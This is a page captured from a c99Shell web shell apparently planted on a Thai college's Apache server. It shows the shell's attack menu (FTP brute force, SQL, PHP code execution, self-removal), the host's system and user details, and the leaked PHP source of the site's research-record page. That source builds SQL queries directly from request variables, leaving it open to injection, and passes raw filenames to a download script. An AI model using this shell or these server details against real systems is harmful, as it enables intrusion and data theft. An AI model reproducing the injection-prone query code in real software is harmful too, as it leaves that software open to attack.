!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ResearchDetailShow_old.php (36.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "research_tb";
        
$myTable3 =" researchtype_tb"
        
$myTable4 ="researchpublic_tb"
        
$myTable5 "research_char_tb";
        
$myTable6 ="research_file_tb"
        
$myTable7="research_public_tb"
        
$myTable8 ="research_success_tb"
        
$myTable9 ="researchtracking_tb"
        
        
$myTable2PK "Research_code";
        
        
/**  Table  -->  personal_tb  */
        
          
$sql " SELECT * FROM  $myTable2   WHERE   Research_code ='$Research_code' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss1mysql_fetch_array($result1);
             
        
$sql " SELECT * FROM   $myTable6   WHERE  Research_code ='$Research_code' ";
         
$result2 mysql_query($sql) or die("Error".mysql_error());
          
$rss2mysql_fetch_array($result2);
        
        
$sql " SELECT * FROM   $myTable7  WHERE  Research_code ='$Research_code' ";
        
$result3 mysql_query($sql) or die("Error".mysql_error());
         
$rss3mysql_fetch_array($result3);
            
        
/**  โฟลเดอร์ไฟล์เอกสาร */
        
$doc_path $_Config_live_site."/Research_pic";            
    
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร  - ข้อมูลงานวิจัย - ผลงานการวิจัย</title>
<style type="text/css">
<!--
.style22 {font-size: 14px; font-weight: bold; }
-->
</style>
</head>

<script language="javascript">
function checkData() {
var formObj = document.form1;
    if( (formObj.Research_name.value == "" ) && (formObj.mYear.value == "" ) && (formObj.mYear2.value == "" ) && (formObj.mYear3.value == "" ) && (formObj.Fund.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Research_name.style.backgroundColor='#F1F9FC'; formObj.Research_name.focus();    return false; }
    else if(formObj.Research_name.value == "" ) { alert("กรุณากรอก ชื่อผลงานวิจัย"); formObj.Research_name.style.backgroundColor='#F1F9FC'; formObj.Research_name.focus(); return false;} 
    else if(formObj.mYear.value == "" ) { alert("กรุณากรอก ปีที่เริ่ม"); formObj.mYear.style.backgroundColor='#F1F9FC'; formObj.mYear.focus(); return false;} 
    else if(formObj.mYear2.value == "" ) { alert("กรุณากรอก ปีที่แล้วเสร็จ"); formObj.mYear2.style.backgroundColor='#F1F9FC'; formObj.mYear2.focus(); return false;} 
    //else if(formObj.Fund.value == "" ) { alert("กรุณากรอก จำนวนเงินทุน"); formObj.Fund.style.backgroundColor='#F1F9FC'; formObj.Fund.focus(); return false;} 
    //else if(formObj.mYear3.value == "" ) { alert("กรุณากรอก ปีที่เผยแพร่"); formObj.mYear3.style.backgroundColor='#F1F9FC'; formObj.mYear3.focus(); return false;} 
    else return true;
}
</script>
<script language="JavaScript" type="text/JavaScript">
function browse()
{
    form1.Filetex.src = form1.Filetex.value;
}
</script>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1004" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="206" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php  include("./_incMainMenu.php");?></td>
    <td width="798" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="772" border="0" cellspacing="0" cellpadding="0">
      <form action="#" method="post" enctype="multipart/form-data" name="form1" id="form1" onsubmit="return checkData();">
      <tr>
        <td width="772" height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Research.php">ข้อมูลผลงาน </a> &raquo; <span class="NOTE">ข้อมูลโครงการผลงาน</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
      </tr>
      <tr>
        <td align="center"><table width="766" border="0" cellpadding="1" cellspacing="1" bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
                      <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
                        <td height="100%" colspan="3" align="left" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">หน่วยงาน : 
                            <?php
                                 $sql 
"Select * From  college    Where  collegeStatus ='1' ";
                                
$result2 mysql_query($sql) or die("Error".mysql_error());
                                
$rss4 mysql_fetch_array($result2);
                                 echo 
$rss4["collegeName"];
                            
?>
                        </td>
                      </tr>
                      <tr>
                        <td colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ชื่อโครงการผลงาน :</a><a><?php echo htmlspecialchars_decodenl2br$rss1['Research_name'] ) ); ?></a></td>
                      </tr>
                      <tr>
                        <td width="20%" height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ผู้ทำผลงาน</td>
                        <td width="1%" bgcolor="#FFFFFF">&nbsp;</td>
                        <td width="79%" align="left" bgcolor="#FFFFFF"><table width="81%" border="0" align="left" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                          <?php
              $query 
" SELECT *  FROM  research_char_tb  WHERE   Research_code='$Research_code'  ";
              
$result1 $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;  
                  
?>
                          <?php
                $no 
1+($display-1)*$limit;
                while( 
$rss $dbObj->fetchArray($result1) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td width="6%" height="20" align="right"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                            <td width="68%" align="left" class="PADDING-LEFT-5"><?php
                    $Teacher_code
=  $rss['Teacher_code'] ;
                    
$sql11 " Select *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId Where Teacher_code='$Teacher_code' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                              </font></a></td>
                            <td width="26%" align="left" class="PADDING-LEFT-5"><font color="#000000" size="2" face="Tahoma"><? echo  $rss[R_position]?></font></td>
                          </tr>
                          <?php
                    
//$no++;
                
# while
              
?>
                        </table></td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">
                          <input name="Research_type" type="radio"  <?php if (!(strcmp("$rss1[Research_type]","1"))) {echo "checked";} ?> value="1"   />
                        เป็นผลงานที่อยู่ในแผนส่งเสริมการนำเสนอผลงานวิชาการของวิทยาลัย 
                      
                       </td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><input name="Research_type" type="radio"  <?php if (!(strcmp("$rss1[Research_type]","2"))) {echo "checked";} ?> value="2"  />
                        ได้รับการสนับสนุนงบประมาณจากวิทยาลัยและ/หรือหน่วยงานอื่นๆ  ในการไปนำเสนอผลงานวิชาการ</td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">กลุ่มสาขาวิชาการ</td>
                        <td bgcolor="#FFFFFF">:</td>
                        <td align="left" bgcolor="#FFFFFF"><font color="#0000FF" size="2" face="Tahoma"><? echo $rss1['Branch'] ; ?>
                        </font></td>
                      </tr>
                      <tr>
                        <td height="22" colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;&nbsp;&nbsp;&nbsp;ความสำคัญและที่มาของปัญหา :</td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rss2['importance'] ) ); ?></td>
                      </tr>
                      <tr>
                        <td height="22" colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;&nbsp;&nbsp;&nbsp;วัตถุประสงค์ของโครงการ</td>
                      </tr>
                      <tr>
                        <td height="22" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rss2['objective'] ) ); ?></td>
                      </tr>
                      <tr>
                        <td height="22" colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;&nbsp;&nbsp;&nbsp;ขอบเขตของโครงการผลงาน</td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rss2['scope'] ) ); ?></td>
                      </tr>
                      <tr>
                        <td height="22" colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;&nbsp;&nbsp;&nbsp;ผลที่คาดว่าจะได้รับ</td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rss2['receive'] ) ); ?></td>
                      </tr>
                      <tr>
                        <td height="22" colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;&nbsp;&nbsp;&nbsp; นำไปใช้ในการพัฒนาคุณภาพการศึกษา</td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rss2['quality'] ) ); ?></td>
                      </tr>
                      <tr>
                        <td height="22" colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;&nbsp;&nbsp;&nbsp;บทคัดย่อ</td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">
                        <?php echo htmlspecialchars_decodenl2br$rss2['abbStract'] ) ); ?></td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
                      <tr >
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><font color="#003366" face="Tahoma">ดาว์โหลดไฟล์เอกสาร</font></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">
                            <?php if( $rss2['Filetex'] != "" ) { ?>
                                <a href="download.php?filename=<?=$rss2['Filetex'];?>&path=research" target="_parent"><img src="../images/icons/download.png" alt=" ดาวน์โหลดไฟล์ <?=$rss2['Filetex'];?> " width="16" height="16" border="0" /></a>
                            <?php } else { ?>
                                <img src="../images/icons/download_off.png" width="16" height="16" />
                            <?php ?>                          
                        </td>
                      </tr>
                      <tr>
                        <td height="22" colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;&nbsp;&nbsp;&nbsp; ประเภทผลงาน<span class="TEXT-RED10"> *</span></td>
                      </tr>
                      <tr>
                        <td colspan="3" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><table width="78%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                          <?php
         $sql 
"Select * From  $myTable3   Where ReTyId='1' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs1 mysql_fetch_array($result1);  
          
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td width="5%" height="22" align="center" bgcolor="#FFFFFF"><input name="ReTyId" type="radio" id="ReTyId" title=" เลือกประเภทผลงาน  <?php echo $rs1['ReTyId']; ?> " <?php if (!strcmp("$rss3[ReTyId]","1") ) {echo "checked";} ?> " value="1" /></td>
                            <td width="95%" align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php    echo "$rs1[ReTyname] "?></td>
                          </tr>
                          <?php
         $sql 
"Select * From  $myTable3   Where ReTyId='2' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);  
          
?>
                          <tr bgcolor="<?=$bgColor;?>" >
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="ReTyId" type="radio" id="ReTyId" title=" เลือกประเภทผลงาน  <?php echo $rs2['ReTyId']; ?> " <?php if (!strcmp("$rss3[ReTyId]","2") ) {echo "checked";} ?> " value="2" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php echo "$rs2[ReTyname] "?></td>
                          </tr>
                          <?php
         $sql 
"Select * From  $myTable3   Where ReTyId='3' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs3 mysql_fetch_array($result1);  
          
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="ReTyId" type="radio" id="ReTyId" title=" เลือกประเภทผลงาน  <?php echo $rs3['ReTyId']; ?> "  <?php if (!strcmp("$rss3[ReTyId]","3" ) ) {echo "checked";} ?> "  value="3" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php  echo "$rs3[ReTyname] ";?></td>
                          </tr>
                          <?php
         $sql 
"Select * From  $myTable3   Where ReTyId='4' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs4mysql_fetch_array($result1);  
          
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="ReTyId" type="radio" id="ReTyId" title=" เลือกประเภทผลงาน  <?php echo $rs4['ReTyId']; ?> " <?php if (!strcmp("$rss3[ReTyId]","4") ) {echo "checked";} ?> " value="4" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php    echo "$rs4[ReTyname] "?></td>
                          </tr>
                          <?php
         $sql 
"Select * From  $myTable3   Where ReTyId='5' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs5 mysql_fetch_array($result1);  
          
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="ReTyId" type="radio" id="ReTyId" title=" เลือกประเภทผลงาน  <?php echo $rs5['ReTyId']; ?> " <?php if (!strcmp("$rss3[ReTyId]","5") ) {echo "checked";} ?> " value="5" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php echo "$rs5[ReTyname] "?></td>
                          </tr>
                          <?php
         $sql 
"Select * From  $myTable3   Where ReTyId='6' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs6 mysql_fetch_array($result1);  
          
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="ReTyId" type="radio" id="ReTyId" title=" เลือกประเภทผลงาน  <?php echo $rs6['ReTyId']; ?> " <?php if (!strcmp("$rss3[ReTyId]","6" ) ) {echo "checked";} ?> " value="6" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php  echo "$rs6[ReTyname] "?></td>
                          </tr>
                          <?php
         $sql 
"Select * From  $myTable3   Where ReTyId='7' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs7 mysql_fetch_array($result1);  
          
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="ReTyId" type="radio" id="ReTyId" title=" เลือกประเภทผลงาน  <?php echo $rs7['ReTyId']; ?> " <?php if (!strcmp("$rss3[ReTyId]","7") ) {echo "checked";} ?> " value="7" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php  echo "$rs7[ReTyname] "?></td>
                          </tr>
                          <?php
         $sql 
"Select * From  $myTable3   Where ReTyId='8' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs8 mysql_fetch_array($result1);  
          
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="ReTyId" type="radio" id1="ReTyId" title=" เลือกประเภทผลงาน  <?php echo $rs8['ReTyId']; ?> " <?php if (!strcmp("$rss3[ReTyId]","8") ) {echo "checked";} ?> " value="8" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php echo "$rs8[ReTyname] "?></td>
                          </tr>
                          <?php
         $sql 
"Select * From  $myTable3   Where ReTyId='9' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs9 mysql_fetch_array($result1);  
          
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="ReTyId" type="radio" id="ReTyId" title=" เลือกประเภทผลงาน  <?php echo $rs9['ReTyId']; ?> " <?php if (!strcmp("$rss3[ReTyId]","9") ) {echo "checked";} ?> " value="9" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php  echo "$rs9[ReTyname] ";?></td>
                          </tr>
                        </table></td>
                      </tr>
                      <tr>
                        <td colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;&nbsp;&nbsp;&nbsp; การเผยแพร่</td>
                      </tr>
                      <tr>
                        <td colspan="3" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><table width="95%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                          <?php        
             $sql 
"Select * From   $myTable4   Where RePbId='1' ";
            
$result mysql_query($sql) or die("Error".mysql_error());
            
$rs1mysql_fetch_array($result);
                
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td width="5%" height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId1" type="checkbox" id2="RePbId1" title=" เลือกการเผยแพร่  <?php echo $rs1['RePbId']; ?> " <?php if (!strcmp("$rss3[RePbId1]","1" ) ) {echo "checked";} ?>  " value="1"  onclick="checkAssign1(this,form1.AreaRePbId1)" /></td>
                            <td width="95%" align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php    echo "$rs1[RePbname] ";?>
                              &nbsp;&nbsp; ระบุสถานที่
                              <input name="AreaRePbId1" type="text" id="AreaRePbId1" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rss3['AreaRePbId1'] ; ?>"   size="30" /></td>
                          </tr>
                          <?php        
             $sql 
"Select * From   $myTable4   Where RePbId='2' ";
            
$result mysql_query($sql) or die("Error".mysql_error());
            
$rs2mysql_fetch_array($result);
                
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId2" type="checkbox" id2="RePbId2" title=" เลือกการเผยแพร่    <?php echo $rs2['RePbId']; ?> " 
                             <?php if (!strcmp("$rss3[RePbId2]","2" ) ) {echo "checked";} ?>   value="2" onclick="checkAssign1(this,form1.AreaRePbId2)"  /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php echo "$rs2[RePbname] "?>&nbsp;&nbsp; ระบุสถานที่
                              <input name="AreaRePbId2" type="text" id="AreaRePbId2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rss3['AreaRePbId2'] ; ?>"   size="30" /></td>
                          </tr>
                          <?php    
          $sql 
"Select * From  $myTable4   Where RePbId='3' ";
          
$result mysql_query($sql) or die("Error".mysql_error());
          
$rs4mysql_fetch_array($result);
             
?>
                          <?php        
             $sql 
"Select * From   $myTable4   Where RePbId='3' ";
            
$result mysql_query($sql) or die("Error".mysql_error());
            
$rs3mysql_fetch_array($result);
                
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId3" type="checkbox" id2="RePbId3" title="  เลือกการเผยแพร่  <?php echo $rs3['RePbId']; ?> "<?php if (!strcmp("$rss3[RePbId3]","3" ) ) {echo "checked";} ?>  value="3" onclick="checkAssign1(this,form1.AreaRePbId3)" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php  echo "$rs3[RePbname] "?>
                              &nbsp;&nbsp; ระบุสถานที่
                              <input name="AreaRePbId3" type="text" id="AreaRePbId3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rss3['AreaRePbId3'] ; ?>"   size="30" /></td>
                          </tr>
                          <?php        
             $sql 
"Select * From   $myTable4   Where RePbId='4' ";
            
$result mysql_query($sql) or die("Error".mysql_error());
            
$rs4mysql_fetch_array($result);
                
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId4" type="checkbox" id2="RePbId4" title=" เลือกการเผยแพร่  <?php echo $rs4['RePbId']; ?> " <?php if (!strcmp("$rss3[RePbId4]","4" ) ) {echo "checked";} ?>  value="4"  onclick="checkAssign1(this,form1.AreaRePbId4)" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php echo "$rs4[RePbname] ";?> &nbsp;&nbsp; ระบุสถานที่
                              <input name="AreaRePbId4" type="text" id="AreaRePbId4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rss3['AreaRePbId4'] ; ?>"   size="30" /></td>
                          </tr>
                          <?php
         $sql 
"Select * From  $myTable4   Where RePbId='5' ";
          
$result mysql_query($sql) or die("Error".mysql_error());
          
$rs5mysql_fetch_array($result);
                
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId5" type="checkbox" id2="RePbId5" title="  เลือกการเผยแพร่  <?php echo $rs5['RePbId']; ?> " <?php if (!strcmp("$rss3[RePbId5]","5" ) ) {echo "checked";} ?>  value="5" onclick="checkAssign1(this,form1.AreaRePbId5)" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php echo "$rs2[RePbname] "?> &nbsp;&nbsp; ระบุสถานที่
                              <input name="AreaRePbId5" type="text" id="AreaRePbId5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rss3['AreaRePbId5'] ; ?>"   size="30" /></td>
                          </tr>
                          <?php
           $sql 
"Select * From   $myTable4   Where RePbId='6' ";
           
$result mysql_query($sql) or die("Error".mysql_error());
          
$rs6mysql_fetch_array($result);
                
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId6" type="checkbox" id2="RePbId6" title="  เลือกการเผยแพร่  <?php echo $rs6['RePbId']; ?> "   <?php if (!strcmp("$rss3[RePbId6]","6" ) ) {echo "checked";} ?>   value="6" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php  echo "$rs6[RePbname] ";  ?></td>
                          </tr>
                          <?php    
         $sql 
"Select * From   $myTable4   Where RePbId='7' ";
           
$result mysql_query($sql) or die("Error".mysql_error());
          
$rs7mysql_fetch_array($result); 
         
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId7" type="checkbox" id2="RePbId7" title="  เลือกการเผยแพร่  <?php echo $rs7['RePbId']; ?> "   <?php if (!strcmp("$rss3[RePbId7]","7" ) ) {echo "checked";} ?>   value="7" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php echo "$rs7[RePbname] ";  ?></td>
                          </tr>
                          <?php
         $sql 
"Select * From   $myTable4   Where RePbId='8' ";
          
$result mysql_query($sql) or die("Error".mysql_error());
          
$rs8mysql_fetch_array($result); 
         
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId8" type="checkbox" id2="RePbId8" title="  เลือกการเผยแพร่  <?php echo $rs8['RePbId']; ?> "   <?php if (!strcmp("$rss3[RePbId8]","8" ) ) {echo "checked";} ?>  value="8" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php    echo "$rs8[RePbname] ";?></td>
                          </tr>
                          <?php
           $sql 
"Select * From   $myTable4   Where RePbId='9' ";
           
$result mysql_query($sql) or die("Error".mysql_error());
          
$rs9mysql_fetch_array($result);
                
?>
                          <!-- <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId9" type="checkbox" id2="RePbId8" title="  เลือกการเผยแพร่  <?php echo $rs9['RePbId']; ?> "   <?php if (!strcmp("$rss3[RePbId9]","9" ) ) {echo "checked";} ?> onclick="highlightRow(this);" value="9" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php
        
        
          
echo "$rs9[RePbname] ";
         
?></td>
                          </tr>
                          <?php
           $sql 
"Select * From   $myTable4   Where RePbId='10' ";
           
$result mysql_query($sql) or die("Error".mysql_error());
          
$rs10mysql_fetch_array($result);
                
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId10" type="checkbox" id2="RePbId8" title="  เลือกการเผยแพร่  <?php echo $rs10['RePbId']; ?> " <?php if (!strcmp("$rss3[RePbId10]","10" ) ) {echo "checked";} ?> onclick="checkAssign1(this,form1.AreaRePbId10)" value="10" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php
        
                  
echo "$rs10[RePbname] ";
         
?>
                              ระบุสถานที่
                              <input name="AreaRePbId10" type="text" disabled="disabled" id="AreaRePbId10" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rss3['AreaRePbId10'] ; ?>"   size="30" /></td>
                          </tr>
                          <?php
           $sql 
"Select * From   $myTable4   Where RePbId='11' ";
           
$result mysql_query($sql) or die("Error".mysql_error());
          
$rs11mysql_fetch_array($result);
                
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="RePbId11" type="checkbox" id2="RePbId8" title="  เลือกการเผยแพร่  <?php echo $rs11['RePbId']; ?> " <?php if (!strcmp("$rss3[RePbId11]","11" ) ) {echo "checked";} ?> onclick="highlightRow(this);" value="11" /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php
        
        
          
echo "$rs11[RePbname] ";
         
?></td>
